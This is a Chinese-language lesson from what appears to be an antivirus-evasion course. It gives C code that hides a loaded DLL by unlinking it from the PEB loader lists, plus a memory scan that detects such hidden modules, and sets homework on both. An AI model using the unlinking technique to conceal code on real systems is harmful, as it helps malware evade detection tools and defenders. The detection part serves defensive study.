免杀专题

37、隐藏模块

1. 课程目标

学习如何隐藏已加载的DLL模块,避免被检测工具发现。


2. 隐藏方法

2.1 从PEB.Ldr链表中摘除

#include <windows.h>
#include <winternl.h>

typedef struct _LDR_DATA_TABLE_ENTRY_FULL {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    // ... 更多字段
} LDR_DATA_TABLE_ENTRY_FULL, *PLDR_DATA_TABLE_ENTRY_FULL;

BOOL UnlinkModule(HMODULE hModule) {
    // 获取PEB
    PPEB pPeb = (PPEB)__readgsqword(0x60);  // x64
    
    // 获取Ldr
    PPEB_LDR_DATA pLdr = pPeb->Ldr;
    
    // 遍历InLoadOrderModuleList
    PLIST_ENTRY pHead = &pLdr->InLoadOrderModuleList;
    PLIST_ENTRY pEntry = pHead->Flink;
    
    while (pEntry != pHead) {
        PLDR_DATA_TABLE_ENTRY_FULL pLdrEntry = 
            CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY_FULL, InLoadOrderLinks);
        
        if (pLdrEntry->DllBase == hModule) {
            // 从三个链表中移除
            // InLoadOrderLinks
            pLdrEntry->InLoadOrderLinks.Flink->Blink = pLdrEntry->InLoadOrderLinks.Blink;
            pLdrEntry->InLoadOrderLinks.Blink->Flink = pLdrEntry->InLoadOrderLinks.Flink;
            
            // InMemoryOrderLinks
            pLdrEntry->InMemoryOrderLinks.Flink->Blink = pLdrEntry->InMemoryOrderLinks.Blink;
            pLdrEntry->InMemoryOrderLinks.Blink->Flink = pLdrEntry->InMemoryOrderLinks.Flink;
            
            // InInitializationOrderLinks
            pLdrEntry->InInitializationOrderLinks.Flink->Blink = pLdrEntry->InInitializationOrderLinks.Blink;
            pLdrEntry->InInitializationOrderLinks.Blink->Flink = pLdrEntry->InInitializationOrderLinks.Flink;
            
            return TRUE;
        }
        
        pEntry = pEntry->Flink;
    }
    
    return FALSE;
}

2.2 修改模块名称

BOOL RenameModule(HMODULE hModule, LPCWSTR szNewName) {
    // 找到模块的LDR_DATA_TABLE_ENTRY
    // 修改FullDllName和BaseDllName
    // ...
    return TRUE;
}

3. 检测隐藏模块

// 遍历内存查找PE头
void ScanForHiddenModules() {
    MEMORY_BASIC_INFORMATION mbi;
    LPVOID pAddr = NULL;
    
    while (VirtualQuery(pAddr, &mbi, sizeof(mbi))) {
        if (mbi.State == MEM_COMMIT && 
            mbi.Type == MEM_IMAGE) {
            
            // 检查是否是PE头
            PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)mbi.BaseAddress;
            if (pDos->e_magic == IMAGE_DOS_SIGNATURE) {
                // 检查是否在Ldr链表中
                if (!IsInLdrList(mbi.BaseAddress)) {
                    printf("[!] 发现隐藏模块: %p\n", mbi.BaseAddress);
                }
            }
        }
        
        pAddr = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
    }
}

4. 课后作业

4.1、作业1:隐藏模块(必做)

  1. 实现从PEB链表中摘除模块
  2. 使用Process Hacker验证效果

4.2、作业2:检测隐藏(进阶)

  1. 实现扫描隐藏模块的工具
  2. 测试检测效果

5. 下一课预告

下一课我们将学习更多异常ShellCode加载方式。